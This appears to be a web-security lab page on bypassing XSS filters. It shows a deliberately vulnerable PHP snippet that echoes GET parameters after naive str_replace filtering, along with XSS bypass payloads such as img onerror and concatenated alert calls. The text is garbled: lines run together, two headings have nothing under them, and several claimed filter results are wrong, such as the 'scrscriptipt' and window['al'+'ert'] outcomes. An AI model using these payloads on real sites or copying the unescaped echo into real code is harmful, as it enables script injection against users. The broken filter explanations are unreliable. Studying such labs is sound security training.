Test XSS with complex transformation filters
This lab demonstrates advanced filtering techniques with different transformation approaches for different parameters, creating a complex security testing environment.
# use arjun tool to find hidden parameter
| Parameter | Input Example | After Filter | Transformation |
|---|---|---|---|
| color | <script>alert(1)</script> |
<alert>alert(1)</alert> |
'script' → 'alert' |
| categoryid | alert(1);confirm(2);prompt(3) |
/(1);/(2);/(3) |
'alert','confirm','prompt' → '/' |
Objective: Test XSS payloads against the advanced transformation filters and find ways to exploit the filter behavior to execute JavaScript.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}
elseif(isset($_GET["color"])){
$re = str_replace('script', 'alert', $_GET['color']);
echo $re;
}
elseif(isset($_GET["categoryid"])){
$arr = array('alert','confirm','prompt');
$re = str_replace($arr, '/', $_GET['categoryid']);
echo $re;
}
# use arjun tool to find hidden parameter
<script>prompt(1)</script> → <alert>prompt(1)</alert><SCRIPT>, <Script><img>, <svg>, <body>console.log, document.write, printwindow['al'+'ert'](1)eval('al'+'ert(1)')Function('al'+'ert(1)')()Advanced filtering demonstrates:
For secure web applications:
<script>prompt(1)</script> → becomes <alert>prompt(1)</alert><scrscriptipt>alert(1)</scrscriptipt> → becomes <alert>alert(1)</alert><SCRIPT>alert(1)</SCRIPT> → remains unchanged (case-sensitive)<img src=x onerror=alert(1)> → remains unchangedconsole.log(1) → remains unchangedwindow['al'+'ert'](1) → becomes window['/'+'/'](1)eval('al'+'ert(1)') → becomes eval('/'+'/(1)')document.write('<script>alert(1)</script>') → becomes document.write('<script>/(1)</script>')